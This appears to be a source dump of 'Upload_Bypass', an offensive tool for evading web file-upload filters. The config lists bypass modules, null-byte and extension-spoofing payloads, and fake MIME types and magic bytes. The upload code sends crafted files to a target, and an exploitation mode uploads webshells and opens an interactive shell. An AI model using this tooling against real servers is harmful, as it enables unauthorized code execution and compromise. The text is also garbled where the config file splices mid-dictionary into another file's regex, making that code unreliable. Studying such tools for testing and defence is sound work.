19 | "null_byte_cutoff",
20 | "name_overflow_cutoff",
21 | "htaccess_overwrite",
22 | "path_traversal",
23 | "svg_xxe",
24 | "svg_xss"
25 | ]
26 |
27 | # Modules that you do not want to scan with Anti-Malware and Detection mode
28 | dont_scan_module = ['svg_xss', 'svg_xxe', 'htaccess_overwrite', "path_traversal"]
29 |
30 | # Modules that you want their orginal filename and extension - Don't touch unless you know what you are doing
31 | original_filenames = ['stripping_extension']
32 |
33 | # Configure extensions
34 | extensions = {
35 |
36 | "allow_list": ["jpg", "jpeg", "png", "gif", "pdf", "mp3", "mp4", "txt", "csv", "svg", "xml", "xlsx"],
37 | "com": ["com"],
38 | "php": ["php", "php3", "phar", "phtml", "php5", "php6", "php7", "phps", "pht", "phtm", "php4", "pgif", "php2",
39 | "inc", "hphp", "ctp", "module"],
40 | "asp": ["asp", "aspx", "config", "ashx", "asmx", "aspq", "axd", "cshtm", "cshtml", "rem", "soap",
41 | "vbhtm", "vbhtml", "asa", "cer", "shtml"],
42 | "jsp": ["jsp", "jspx", "jsw", "jsv", "jspf", "wss", "do", "action"],
43 | "coldfusion": ["cfm", "cfml", "cfc", "dbm", "cFm", "cFml", "cFc", "dBm"],
44 | "perl": ["pl", "cgi"]
45 | }
46 |
47 | # Anti-Malware test strings
48 | eicar = r"X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*"
49 |
50 | # Configure null bytes here
51 | null_bytes = [
52 | '\x00',
53 | ";",
54 | "%20",
55 | "%0a",
56 | "%00",
57 | "%0d%0a",
58 | "/",
59 | ".\\",
60 | ".",
61 | "...."
62 | ]
63 |
64 | # Configure mime types
65 | mimetypes = {
66 | "com": "application/octet-stream",
67 | "php": "application/x-httpd-php",
68 | "php2": "application/x-httpd-php",
69 | "php3": "application/x-httpd-php",
70 | "php4": "application/x-httpd-php",
71 | "php5": "application/x-httpd-php",
72 | "php6": "application/x-httpd-php",
73 | "php7": "application/x-httpd-php",
74 | "phps": "application/x-httpd-php",
75 | "pht": "application/x-httpd-php",
76 | "phtm": "application/x-httpd-php",
77 | "phtml": "application/x-httpd-php",
78 | "pgif": "application/x-httpd-php",
79 | "htaccess": "application/x-httpd-php",
80 | "phar": "application/x-httpd-php",
81 | "inc": "application/x-httpd-php",
82 | "hphp": "application/x-httpd-php",
83 | "ctp": "application/x-httpd-php",
84 | "module": "application/x-httpd-php",
85 | "xlsx": "application/vnd.openxmlformats-officedocument.spreadsheetml.sheet",
86 | "txt": "text/plain",
87 | "jpg": "image/jpeg",
88 | "jpeg": "image/jpeg",
89 | "png": "image/png",
90 | "gif": "image/gif",
91 | "pdf": "application/pdf",
92 | "mp3": "audio/mpeg",
93 | "mp4": "video/mp4",
94 | "csv": "text/csv",
95 | "svg": "image/svg+xml",
96 | "xml": "application/xml",
97 | "asp": "application/x-asp",
98 | "aspx": "application/x-asp",
99 | "config": "application/x-asp",
100 | "ashx": "application/x-asp",
101 | "asmx": "application/x-asp",
102 | "aspq": "application/x-asp",
103 | "axd": "application/x-asp",
104 | "cshtm": "application/x-asp",
105 | "cshtml": "application/x-asp",
106 | "rem": "application/x-asp",
107 | "soap": "application/x-asp",
108 | "vbhtm": "application/x-asp",
109 | "vbhtml": "application/x-asp",
110 | "shtml": "application/x-asp",
111 | "asa": "application/x-asp",
112 | "cer": "application/x-asp",
113 | "jsp": "application/jsp",
114 | "jspx": "application/jsp",
115 | "jsw": "application/jsp",
116 | "jsv": "application/jsp",
117 | "jspf": "application/jsp",
118 | "wss": "application/jsp",
119 | "do": "application/jsp",
120 | "action": "application/jsp",
121 | "cfm": "application/cfm",
122 | "cfml": "application/cfm",
123 | "cfc": "application/cfm",
124 | "dbm": "application/cfm",
125 | "pl": "text/html",
126 | "cgi": "text/html",
127 | "pL": "text/html",
128 | "cGi": "text/html",
129 | }
130 |
131 | # XML mimetypes
132 | xml_mimetypes = ['application/xml', 'text/xml', 'application/rss+xml', 'application/xhtml+xml']
133 |
134 | # Configure magic bytes
135 | magic_bytes = {
136 | "jpg": b'\xFF\xD8\xFF\xE0',
137 | "jpeg": b'\xFF\xD8\xFF\xE0',
138 | "png": b'\x89\x50\x4E\x47\x0D\x0A\x1A\x0A',
139 | "gif": b'GIF89',
140 | "bmp": b'BM',
141 | "zip": b'PK',
142 | "rar": b'Rar!',
143 | "exe": b'MZ',
144 | "pdf": b'%PDF',
145 | "docx": b'PK',
146 | "xlsx": b'PK',
147 | "pptx": b'PK',
148 | "mp3": b'ID3',
149 | "wav": b'RIFF',
150 | "mp4": b'ftypisom',
151 | "avi": b'RIFF',
152 | "mkv": b'\x1A\x45\xDF\xA3',
153 | "txt": b'\xEF\xBB\xBF',
154 | "html": b'',
155 | "js": b'// JavaScript',
156 | "tar": b'ustar',
157 | "iso": b'CD001',
158 | "dll": b'MZ',
159 | "xml": b'',
205 | "py": b'#!/usr/bin/env python',
206 | "java": b'public class',
207 | "php": b'[^:\r\n]+):\s*(?P[^\r\n]*)', headers_content, flags=re.MULTILINE)
128 |
129 | # Convert the list of tuples to a list of dictionaries for easier manipulation
130 | headers_list = [{'key': key.strip(), 'value': value.strip()} for key, value in headers_list]
131 |
132 | # Convert the list of dictionaries to a dictionary
133 | headers = {item['key']: item['value'] for item in headers_list}
134 |
135 | # Split the request string by lines
136 | lines = request.split('\n')
137 |
138 | # Extract the host value from the 'Host' header
139 | host = [line.split(': ')[1] for line in lines if line.startswith('Host')][0].split()[0]
140 |
141 | # Just in case the user choose -A / --allowed flag
142 | options.host = host
143 |
144 | # Extract the path from the first line of the request
145 | path = lines[0].split(' ')[1]
146 |
147 | # Extract protocol from a predefined configuration
148 | protocol = config.protocol
149 |
150 | # Construct the URL from the extracted components
151 | url = f'{protocol}://{host}{path}'
152 |
153 | # Just in case the user choose -A / --allowed flag
154 | options.url = url
155 |
156 | keys_to_delete = []
157 | for key, value in headers.items():
158 | # Deleting unnecessary headers except cookies and authorization header
159 | if "Accept" in key:
160 | keys_to_delete.append(key)
161 |
162 | # Delete unnecessary headers
163 | for key in keys_to_delete:
164 | del headers[key]
165 |
166 | return headers, url
167 |
168 | except IndexError:
169 | error("A malformed request file was supplied, please check your request file.")
170 |
171 | except Exception as e:
172 |
173 | if options.debug:
174 |
175 | # Check if debug mode is activated
176 | debug_mode = options.debug
177 | # Print the stack trace to the screen
178 | traceback.print_exc()
179 |
180 | # Save the stack trace to the 'debug' directory
181 | save_stack_trace(debug_mode, sys.argv, options.request_file)
182 | else:
183 | error(f'{e}\n{red}[-]{reset} For a full stack trace error use the --debug flag')
184 |
185 |
186 | def parse_request_file(request_file, options, file_name, original_extension, mimetype, magic_bytes=None,
187 | file_data=None, module=None):
188 | try:
189 | try:
190 | request = "" # Initialize an empty string to store the decoded request
191 |
192 | # Declaring an XML object and parsing the XML file
193 | tree = ET.parse(request_file)
194 | root = tree.getroot()
195 |
196 | for i in root:
197 | # Search for the 'request' element in the XML and extracting its text content
198 | request = i.find('request').text
199 |
200 | # Decode the base64 encoded content
201 | content = base64.b64decode(request)
202 |
203 | # Decode the content from latin-1 encoding
204 | request = content.decode('latin-1')
205 |
206 | except:
207 | # Open the request file as text
208 | with open(request_file, "r") as f:
209 | request = f.read()
210 |
211 | headers, url = parse_headers(options, request)
212 |
213 | # Check for a detection mode
214 | if options.detect:
215 | try:
216 | if module == 'polyglot':
217 | with open(f"assets/samples/polyglot_sample.php", 'rb') as file:
218 | file_data = file.read()
219 | elif not file_data:
220 | with open(f"assets/samples/sample.{original_extension}", 'rb') as file:
221 | file_data = file.read()
222 | except FileNotFoundError:
223 | error(f"File not found: assets/samples/sample.{original_extension}")
224 |
225 | # Check for exploitation mode
226 | elif options.exploitation:
227 | if module == 'polyglot':
228 | with open(f"assets/samples/polyglot_shell.php", 'rb') as file:
229 | file_data = file.read()
230 | elif not file_data:
231 | file_data_b64 = config.webshells[original_extension]
232 | file_data = base64.b64decode(file_data_b64)
233 |
234 | # Checks for anti_malware detection mode
235 | elif options.anti_malware:
236 | if not file_data:
237 | file_data = config.eicar
238 |
239 | # Check if the binary data is bytes and decodes it
240 | if isinstance(file_data, bytes):
241 | file_data = file_data.decode('latin-1')
242 |
243 | # Check if mimetype and anti_malware is true and set the data without magic_bytes (Eicar string must be exact 68 chars)
244 | if magic_bytes and options.anti_malware:
245 | file_data = file_data
246 |
247 | # Add magic bytes to the binary data
248 | elif magic_bytes:
249 | file_data = f"{magic_bytes.decode('latin-1')}\n{file_data}"
250 |
251 | request = request.replace("\r\n", "\n").replace("\n", "\r\n")
252 | # Replace marker with a filename
253 | content = request.replace(config.filename_marker, file_name)
254 |
255 | xml_mimetypes = config.xml_mimetypes
256 | xml = False
257 |
258 | # Auto-detect xml and base64 the data binary
259 | for xml_mime in xml_mimetypes:
260 | if xml_mime in str(headers):
261 | xml = True
262 | break
263 |
264 | # Auto-detect JSON and base64 the data binary
265 | if "application/json" in str(headers):
266 | if isinstance(file_data, bytes):
267 | file_data = base64.b64encode(file_data)
268 | else:
269 | file_data = base64.b64encode(file_data.encode('latin-1'))
270 |
271 | if options.base64:
272 | if isinstance(file_data, bytes):
273 | file_data = base64.b64encode(file_data)
274 | else:
275 | file_data = base64.b64encode(file_data.encode('latin-1'))
276 | else:
277 | if not xml:
278 | if isinstance(file_data, bytes):
279 | file_data = file_data.decode('latin-1')
280 | # Replace marker with binary data
281 | content = content.replace(config.data_marker, file_data)
282 | else:
283 | content = content.replace(config.data_marker, file_data)
284 | else:
285 | if isinstance(file_data, bytes):
286 | file_data = base64.b64encode(file_data)
287 | else:
288 | file_data = base64.b64encode(file_data.encode('latin-1'))
289 |
290 | if isinstance(file_data, bytes):
291 | content = content.replace(config.data_marker, file_data.decode('latin-1'))
292 | else:
293 | content = content.replace(config.data_marker, file_data)
294 |
295 | # Handle various newlines and carriage returns
296 | try:
297 | content = content.split('\r\n\r\n', 1)
298 | body = content[1]
299 | except IndexError:
300 | try:
301 | content = content.split('\n\n', 1)
302 | body = content[1]
303 | except AttributeError:
304 | content = content[0]
305 | content = content.split('\n\n', 1)
306 | body = content[1]
307 |
308 | # Replace the mimetype marker with the file's mimetype
309 | data = body.replace(config.mimetype_marker, mimetype)
310 |
311 | try:
312 | data = data.encode("latin-1")
313 | except UnicodeDecodeError:
314 | data = data.encode("utf-8")
315 |
316 | if "application/json" not in str(headers):
317 | data_type = "raw"
318 |
319 | else:
320 | data_type = "json"
321 | try:
322 | data = json.loads(data)
323 | except json.decoder.JSONDecodeError:
324 | error(
325 | "Null_byte_cutoff module is not supported with JSON data, please exclude null_byte_cutoff with -x null_byte_cutoff or uncomment the module in config.py.")
326 |
327 | # Sends the request
328 | response, headers, url = make_request(data, headers, options, url, data_type)
329 |
330 | return response, headers, url, mimetype
331 |
332 | except Exception as e:
333 |
334 | if options.debug:
335 |
336 | # Check if debug mode is activated
337 | debug_mode = options.debug
338 | # Print the stack trace to the screen
339 | traceback.print_exc()
340 |
341 | # Save the stack trace to the 'debug' directory
342 | save_stack_trace(debug_mode, sys.argv, options.request_file)
343 | else:
344 | error(f'{e}\n{red}[-]{reset} For a full stack trace error use the --debug flag')
345 |
--------------------------------------------------------------------------------
/lib/file_upload.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | # Importing necessary modules and libraries
4 | import os
5 | from . import interactive_shell
6 | from . import file_parser
7 | from urllib.parse import urlparse
8 | from .ansi_colors import *
9 | import json
10 | from . import config
11 | from . import eicar_checker
12 | from . import random_string
13 | import datetime
14 | from requests.exceptions import SSLError
15 | import time
16 |
17 |
18 | # Function to send GET request
19 | def send_get_request(headers, options, url):
20 | keys_to_delete = []
21 | for key, value in headers.items():
22 | # Delete unnecessary headers except cookies and authorization header
23 | if key != "Cookie" and key != "Authorization" and key != "Host":
24 | keys_to_delete.append(key)
25 |
26 | # Delete unnecessary headers
27 | for key in keys_to_delete:
28 | del headers[key]
29 |
30 | try:
31 | # Send the command request to the target machine and get the response
32 | response = options.session.get(url, allow_redirects=False,
33 | proxies=options.proxies, headers=headers, verify=options.verify_tls)
34 | except SSLError:
35 | url = url.replace('https://', 'http://') # Change protocol to http
36 |
37 | # Send the command request to the target machine and get the response
38 | response = options.session.get(url, allow_redirects=False, headers=headers,
39 | proxies=options.proxies, verify=False)
40 |
41 | return response, url
42 |
43 |
44 | # Function to send request
45 | def send_request(current_extension, request_file, file_name, extension_to_test, options, module, allowed_extension,
46 | overall_progress, current_extension_tested=None, filename_without_nullbyte=None):
47 | # Check for anti-malware option and file extension
48 | if options.anti_malware and options.file_extension == 'com':
49 | # Send request with given parameters
50 | magic_bytes = False
51 | mimetype = config.mimetypes["com"]
52 |
53 | file_upload(request_file, file_name, extension_to_test, options,
54 | magic_bytes, allowed_extension, mimetype, module,
55 | overall_progress, None, None, current_extension_tested, filename_without_nullbyte)
56 |
57 | # Send request with allowed extension mimetype
58 | mimetype = config.mimetypes[allowed_extension]
59 | magic_bytes = False
60 | file_upload(request_file, file_name, extension_to_test, options,
61 | magic_bytes, allowed_extension, mimetype, module,
62 | overall_progress, None, None, current_extension_tested, filename_without_nullbyte)
63 |
64 | else:
65 | current_extension = current_extension.replace(".", "").lower()
66 | # Send request with given parameters
67 | magic_bytes = False
68 | mimetype = config.mimetypes[current_extension]
69 |
70 | file_upload(request_file, file_name, extension_to_test, options,
71 | magic_bytes, allowed_extension, mimetype, module,
72 | overall_progress, None, None, current_extension_tested, filename_without_nullbyte)
73 |
74 | # Send request with magic bytes of the allowed extension
75 | magic_bytes = config.magic_bytes[allowed_extension]
76 | mimetype = config.mimetypes[current_extension]
77 | file_upload(request_file, file_name, extension_to_test, options,
78 | magic_bytes, allowed_extension, mimetype, module,
79 | overall_progress, None, None, current_extension_tested, filename_without_nullbyte)
80 |
81 | # Send request with the allowed extension mimetype
82 | mimetype = config.mimetypes[allowed_extension]
83 | magic_bytes = False
84 | file_upload(request_file, file_name, extension_to_test, options,
85 | magic_bytes, allowed_extension, mimetype, module,
86 | overall_progress, None, None, current_extension_tested, filename_without_nullbyte)
87 |
88 |
89 | # Send request with the allowed extension mimetype and magic_bytes
90 | mimetype = config.mimetypes[allowed_extension]
91 | magic_bytes = config.magic_bytes[allowed_extension]
92 | file_upload(request_file, file_name, extension_to_test, options,
93 | magic_bytes, allowed_extension, mimetype, module,
94 | overall_progress, None, None, current_extension_tested, filename_without_nullbyte)
95 |
96 |
97 | # Function for version comparison
98 | def version_comparison(latest_version, current_version):
99 | update = ""
100 |
101 | if latest_version != current_version:
102 | update = "A new version of Upload_Bypass is available to download 🎉"
103 |
104 | elif latest_version == current_version:
105 | update = current_version + " (Latest)"
106 |
107 | return update
108 |
109 |
110 | # Function to get terminal size
111 | def get_terminal_size():
112 | try:
113 | columns, _ = os.get_terminal_size(0) # 0 means the standard output (stdout)
114 | except OSError:
115 | columns = 80 # Default value if unable to get terminal size
116 | return columns
117 |
118 |
119 | # Function to print progress bar
120 | def print_progress_bar(iteration, total):
121 | terminal_width = get_terminal_size()
122 | length = terminal_width - 20 # Adjust as needed for padding and other elements
123 |
124 | percent = int((iteration / total) * 100)
125 | filled_length = int(length * iteration // total)
126 | bar = '{}={}'.format(turquoise, reset) * filled_length + ' ' * (length - filled_length)
127 | print("")
128 | print("\rProgress: [{}] {}% ".format(bar, percent), end='', flush=True)
129 | print("")
130 |
131 |
132 | # Function to print status code with color coding
133 | def print_status_code(status_code):
134 | if str(status_code).startswith("2"):
135 | status_code = f"{green}{status_code}{reset}"
136 | elif str(status_code).startswith("3"):
137 | status_code = f"{yellow}{status_code}{reset}"
138 | elif str(status_code).startswith("4"):
139 | status_code = f"{red}{status_code}{reset}"
140 | else:
141 | status_code = f"{red}{status_code}{reset}"
142 |
143 | return status_code
144 |
145 |
146 | def print_response(response, options):
147 | terminal_width = get_terminal_size()
148 |
149 | if options.response:
150 | print("")
151 | print(f"📡 {cyan}HTTP Response: {reset}")
152 | print("-" * terminal_width)
153 | print(response.text) # Print the response text to the console
154 | print("-" * terminal_width)
155 |
156 |
157 | def display_options(attributes):
158 | concat_options = ""
159 | for display in attributes:
160 | concat_options += display + " | "
161 | concat_options = concat_options[:-2]
162 | return concat_options
163 |
164 |
165 | # Function to print response details
166 | def print_response_options(response, file_name, current_time, module, magic_bytes, mimetype):
167 | response_attributes = ["Module", "Mimetype", "Magic-Byte?", "Filename", "Status-Code", "Current-Time",
168 | "Response-Time"]
169 | response_attributes = display_options(response_attributes)
170 | term_size = os.get_terminal_size()
171 |
172 | print("")
173 | print(response_attributes)
174 | print('─' * term_size.columns)
175 | response_time = response.elapsed.total_seconds()
176 | status_code = response.status_code
177 | status_code = print_status_code(status_code)
178 | if isinstance(file_name, bytes):
179 | file_name = file_name.decode('latin-1')
180 |
181 | print(
182 | f"{module} {mimetype} {magic_bytes} {file_name} {status_code} {current_time} {response_time}")
183 | print('─' * term_size.columns)
184 |
185 |
186 | # Function to print straight line
187 | def print_straight_line(length, character='-'):
188 | print(character * length)
189 |
190 |
191 | # Function to print various details
192 | def printing(options, user_options, response, file_name, overall_progress, current_time, module, magic_bytes, mimetype):
193 | print("\033c", end="")
194 | print("")
195 | print("\033[1mUser Options:\033[0m")
196 | print(user_options)
197 |
198 | print_response_options(response, file_name, current_time, module, magic_bytes, mimetype)
199 |
200 | print_progress_bar(overall_progress, 100)
201 |
202 | print_response(response, options)
203 |
204 |
205 | # Function for file upload
206 | def file_upload(request_file, file_name, original_extension, options, magic_bytes, allowed_extension, mimetype, module,
207 | overall_progress, file_data=None, skip_module=None, current_extension_tested=None, filename_without_nullbyte=None):
208 | # Declaring these variables for ease an ease access later
209 | options.current_mimetype = mimetype
210 | options.current_module = module
211 | options.current_extension_tested = current_extension_tested
212 |
213 | # Parse request file
214 | response, headers, url, content_type = file_parser.parse_request_file(request_file, options, file_name,
215 | original_extension, mimetype,
216 | magic_bytes, file_data, module)
217 | user_options = ""
218 |
219 | rate_limit_seconds = options.rateLimit / 1000
220 | time.sleep(rate_limit_seconds)
221 |
222 | # Remove trailing forward slash from the URL
223 | if url.endswith('/'):
224 | url = url[:-1]
225 |
226 | user_options += f"🌐 Target URL: {url}\n"
227 | user_options += f"🔗 Backend Extension: {options.file_extension}\n"
228 | user_options += f"🔗 Allowed Extension: {allowed_extension}\n"
229 |
230 | # Determine mode based on options
231 | if options.exploitation:
232 | mode = "Exploit"
233 | elif options.detect:
234 | mode = "Detect"
235 | else:
236 | mode = "Anti-Malware"
237 |
238 | user_options += f"🎮 Mode: {mode}\n"
239 |
240 | if options.upload_dir != 'optional':
241 | parsed_url = urlparse(url)
242 | base_url = parsed_url.scheme + "://" + parsed_url.netloc
243 |
244 | # Removing trailing extension
245 | if module in config.original_filenames:
246 | split_file_name = file_name.split(".", 1)
247 | tmp_file_name = split_file_name[0]
248 | new_file_name = tmp_file_name + "." + options.current_extension_tested
249 |
250 | location_url = base_url + options.upload_dir + new_file_name
251 | else:
252 | location_url = base_url + options.upload_dir + file_name
253 |
254 | else:
255 | location_url = "Not specified"
256 |
257 | if options.upload_dir != 'optional':
258 | user_options += f"📍 Upload Location: {options.upload_dir}\n"
259 |
260 | if not str(options.text_or_code).isdigit():
261 | user_options += f"💬 Upload Message: {options.upload_message}\n"
262 | else:
263 | user_options += f"🚦 Status Code: {options.status_code}\n"
264 |
265 | if not options.output_dir:
266 | user_options += f"📁 Output File: {os.getcwd()}/{options.host}/results.txt\n"
267 | else:
268 | user_options += f"📁 Output File: {options.output_dir}\n"
269 |
270 | if options.include_modules:
271 | user_options += f"➕ Include Only Modules: {options.include_modules}\n"
272 | elif options.exclude_modules:
273 | user_options += f"➖ Exclude Modules: {options.exclude_modules}\n"
274 |
275 | if options.rateLimit != 0:
276 | rate_limit = options.rateLimit
277 | user_options += f"⏳ Rate Limiting: {rate_limit}\n"
278 |
279 | if options.proxy != 'optional':
280 | proxy = options.proxy
281 | user_options += f"🕵️ Proxy: {proxy}\n"
282 | elif options.burp_http or options.burp_https:
283 | proxy = "http(s)://127.0.0.1:8080"
284 | user_options += f"🕵️ Proxy: {proxy}\n"
285 |
286 | if options.debug:
287 | user_options += f"🐞 Debug Mode: {options.debug}\n"
288 |
289 | user_options += f"🕒 Request Timeout: {options.request_timeout}\n"
290 |
291 | if options.base64:
292 | user_options += f"🔢 Base64 Encode: {options.base64}\n"
293 |
294 | if options.brute_force:
295 | user_options += f"💪 Brute Force: {options.brute_force}\n"
296 |
297 | if options.allow_redirects:
298 | user_options += f"🚀 Allow Redirects {options.verify_tls}\n"
299 |
300 | if options.response:
301 | user_options += f"📨 Print Response {options.upload_message}\n"
302 |
303 | user_options += f"🚨 Verify SSL: {options.verify_tls}\n"
304 |
305 | now = datetime.datetime.now()
306 | current_time = now.strftime("%d.%m.%Y_%H:%M:%S")
307 |
308 | # Read the current configuration
309 | with open("config/version.json", "r") as file:
310 | version = json.load(file)
311 |
312 | update = version_comparison(version["latest_version"], version["current_version"])
313 |
314 | user_options += f"🔄 Version: {update}"
315 |
316 | # Print various details
317 | printing(options, user_options, response, file_name, overall_progress, current_time, module, magic_bytes, mimetype)
318 |
319 | if filename_without_nullbyte:
320 | filename_nullbyte = file_name
321 |
322 | if options.anti_malware:
323 |
324 | # Send response to Eicar function and checks if brute_force is active or not
325 | response_status = eicar_checker.eicar(response, file_name, url, content_type, options, allowed_extension,
326 | current_time, user_options, skip_module, headers)
327 | else:
328 | # Send response to Success function and checks if brute_force is active or not
329 | response_status, exploit_machine = interactive_shell.response_check(options, headers, file_name, content_type,
330 | location_url, magic_bytes,
331 | allowed_extension, current_time, response,
332 | user_options, skip_module, module, filename_without_nullbyte)
333 | if exploit_machine:
334 |
335 | options.exploitation = True
336 | options.detect = False
337 |
338 | if filename_without_nullbyte:
339 | split_file_name = filename_nullbyte.split(".")
340 | new_name = random_string.generate_random_string(10)
341 | del split_file_name[0]
342 | filename_without_nullbyte = new_name + "." + original_extension
343 | extension_nullbyte = ".".join(split_file_name)
344 | file_name = new_name + "." + extension_nullbyte
345 |
346 |
347 | else:
348 | split_filename = file_name.split(".", 1)
349 | split_extensions = split_filename[1]
350 | new_name = random_string.generate_random_string(10)
351 | file_name = new_name + "." + split_extensions
352 |
353 | response, headers, url, content_type = file_parser.parse_request_file(request_file, options, file_name,
354 | original_extension, mimetype,
355 | magic_bytes, file_data, module)
356 |
357 | _, _ = interactive_shell.response_check(options, headers, file_name, content_type, location_url,
358 | magic_bytes, allowed_extension, current_time, response,
359 | user_options, skip_module, module, filename_without_nullbyte)
360 |
361 | return
362 |
363 |
364 | return headers, response_status, response, url, content_type, current_time, user_options
365 |
--------------------------------------------------------------------------------
/lib/format_detector.py:
--------------------------------------------------------------------------------
1 | #!/usr/bin/env python3
2 |
3 | import re
4 | import xml.etree.ElementTree as ET
5 | import base64
6 | import time
7 | from . import config
8 | from .ansi_colors import *
9 | from .alerts import error, success
10 | from .random_string import generate_random_string
11 | from lib.debug import save_stack_trace
12 | from lib.file_upload import print_response
13 | import traceback
14 | from requests.exceptions import SSLError
15 | import requests
16 | import sys
17 | import json
18 | from lib.alerts import info
19 |
20 |
21 | # Determine if an extension is permitted on the system and return it
22 | def response_message(options, status_code, allowed_extension, extension, response):
23 | if options.upload_message == 'not_selected':
24 | if status_code == options.status_code:
25 | allowed_extension.append(extension)
26 |
27 | else:
28 | message = options.text_or_code
29 | if message == 'success_message':
30 | if options.upload_message in response.text:
31 | allowed_extension.append(extension)
32 |
33 | elif message == 'failure_message':
34 |
35 | if options.upload_message not in response.text:
36 | allowed_extension.append(extension)
37 |
38 | return allowed_extension
39 |
40 |
41 | def make_request(data, session, headers, options, url, data_type):
42 | response = None
43 |
44 | try:
45 |
46 | if options.put_method:
47 | try:
48 | if data_type == "raw": # Check if data is anything but json
49 | response = session.put(url, data=data, headers=headers, proxies=options.proxies,
50 | allow_redirects=options.allow_redirects,
51 | verify=options.verify_tls, timeout=options.request_timeout)
52 | else: # Send a JSON request
53 | response = session.put(url, json=data, headers=headers, proxies=options.proxies,
54 | allow_redirects=options.allow_redirects,
55 | verify=options.verify_tls, timeout=options.request_timeout)
56 | # Fall back to HTTP
57 | except SSLError:
58 | url_http = url.replace('https://', 'http://') # Change protocol to http
59 | if data_type == "raw": # Check if data is anything but json
60 | response = session.put(url_http, data=data, headers=headers, proxies=options.proxies,
61 | allow_redirects=options.allow_redirects, verify=False, timeout=options.request_timeout)
62 | else: # Send a JSON request
63 | response = session.put(url_http, json=data, headers=headers, proxies=options.proxies,
64 | allow_redirects=options.allow_redirects,
65 | verify=options.verify_tls, timeout=options.request_timeout)
66 | except requests.exceptions.ProxyError:
67 | error(
68 | f"You are having issue with your proxy, check if your proxy program is well configured. If you are trying "
69 | f"to access an HTTP website, configure Upload Bypass to use the HTTP protocol inside the config.py.")
70 |
71 | elif options.patch_method:
72 | try:
73 | if data_type == "raw": # Check if data is anything but json
74 | response = session.patch(url, data=data, headers=headers, proxies=options.proxies,
75 | allow_redirects=options.allow_redirects,
76 | verify=options.verify_tls, timeout=options.request_timeout)
77 | else: # Send a JSON request
78 | response = session.patch(url, json=data, headers=headers, proxies=options.proxies,
79 | allow_redirects=options.allow_redirects,
80 | verify=options.verify_tls, timeout=options.request_timeout)
81 | # Fall back to HTTP
82 | except SSLError:
83 | url_http = url.replace('https://', 'http://') # Change protocol to http
84 | if data_type == "raw": # Check if data is anything but json
85 | response = session.patch(url_http, data=data, headers=headers, proxies=options.proxies,
86 | allow_redirects=options.allow_redirects, verify=False, timeout=options.request_timeout)
87 | else: # Send a JSON request
88 | response = session.patch(url_http, json=data, headers=headers, proxies=options.proxies,
89 | allow_redirects=options.allow_redirects,
90 | verify=options.verify_tls, timeout=options.request_timeout)
91 |
92 | except requests.exceptions.ProxyError:
93 | error(
94 | f"You are having issue with your proxy, check if your proxy program is well configured. If you are trying "
95 | f"to access an HTTP website, configure Upload Bypass to use the HTTP protocol inside the config.py.")
96 |
97 | else:
98 | try:
99 | if data_type == "raw": # Check if data is anything but json
100 | response = session.post(url, data=data, headers=headers, proxies=options.proxies,
101 | allow_redirects=options.allow_redirects,
102 | verify=options.verify_tls, timeout=options.request_timeout)
103 | else: # Send a JSON request
104 | response = session.post(url, json=data, headers=headers, proxies=options.proxies,
105 | allow_redirects=options.allow_redirects,
106 | verify=options.verify_tls, timeout=options.request_timeout)
107 | # Fall back to HTTP
108 | except SSLError:
109 | url_http = url.replace('https://', 'http://') # Change protocol to http
110 | if data_type == "raw": # Check if data is anything but json
111 | response = session.post(url_http, data=data, headers=headers, proxies=options.proxies,
112 | allow_redirects=options.allow_redirects, verify=False, timeout=options.request_timeout)
113 | else: # Send a JSON request
114 | response = session.post(url_http, json=data, headers=headers, proxies=options.proxies,
115 | allow_redirects=options.allow_redirects,
116 | verify=options.verify_tls, timeout=options.request_timeout)
117 |
118 | except requests.exceptions.ProxyError:
119 | error(
120 | f"You are having issue with your proxy, check if your proxy program is well configured. If you are trying "
121 | f"to access an HTTP website, configure Upload Bypass to use the HTTP protocol inside the config.py.")
122 |
123 | except Exception as e:
124 |
125 | if options.debug:
126 |
127 | # Check if debug mode is activated
128 | debug_mode = options.debug
129 | # Print the stack trace to the screen
130 | traceback.print_exc()
131 |
132 | # Save the stack trace to the 'debug' directory
133 | save_stack_trace(debug_mode, sys.argv, options.request_file)
134 | else:
135 | error(f'{e}\n{red}[-]{reset} For a full stack trace error use the --debug flag')
136 |
137 | if options.response:
138 | print_response(response, options)
139 |
140 | return response.status_code, response
141 |
142 |
143 | # Parse headers from the request file
144 | def parse_headers(options, request, extension):
145 | try:
146 | # Set file name with a random string
147 | file_name = generate_random_string(10) + f".{extension}"
148 |
149 | # Split the request into headers and body
150 | headers_end_index = request.find('\n\n')
151 |
152 | # If no double newline is found, try finding '\n\r\n'
153 | if headers_end_index == -1:
154 | headers_end_index = request.find('\n\r\n')
155 |
156 | # Extract the header content
157 | headers_content = request[:headers_end_index]
158 |
159 | # Extract headers using regular expression
160 | headers_list = re.findall(r'^(?P[^:\r\n]+):\s*(?P[^\r\n]*)', headers_content, flags=re.MULTILINE)
161 |
162 | # Convert the list of tuples to a list of dictionaries for easier manipulation
163 | headers_list = [{'key': key.strip(), 'value': value.strip()} for key, value in headers_list]
164 |
165 | # Convert the list of dictionaries to a dictionary
166 | headers = {item['key']: item['value'] for item in headers_list}
167 |
168 | # Split the request string by lines
169 | lines = request.split('\n')
170 |
171 | # Extract the host value from the 'Host' header
172 | host = [line.split(': ')[1] for line in lines if line.startswith('Host')][0].split()[0]
173 |
174 | # Extract the path from the first line of the request
175 | path = lines[0].split(' ')[1]
176 | # Extract protocol from a predefined configuration
177 | protocol = config.protocol
178 |
179 | # Construct the URL from the extracted components
180 | url = f'{protocol}://{host}{path}'
181 |
182 | keys_to_delete = []
183 | for key, value in headers.items():
184 | # Delete the accept header
185 | if "Accept" in key:
186 | keys_to_delete.append(key)
187 |
188 | # Deleting unnecessary headers
189 | for key in keys_to_delete:
190 | del headers[key]
191 |
192 | return headers, url, file_name, host
193 |
194 | except IndexError:
195 | error("A malformed request file was supplied, please check your request file.")
196 |
197 | except Exception as e:
198 |
199 | if options.debug:
200 |
201 | # Check if debug mode is activated
202 | debug_mode = options.debug
203 | # Print the stack trace to the screen
204 | traceback.print_exc()
205 |
206 | # Save the stack trace to the 'debug' directory
207 | save_stack_trace(debug_mode, sys.argv, options.request_file)
208 | else:
209 | error(f'{e}\n{red}[-]{reset} For a full stack trace error use the --debug flag')
210 |
211 |
212 | def parse_request_file(request_file, session, options):
213 | try:
214 | request = "" # Initialize an empty string to store the decoded request
215 |
216 | # Declare an XML object and parsing the XML file
217 | tree = ET.parse(request_file)
218 | root = tree.getroot()
219 |
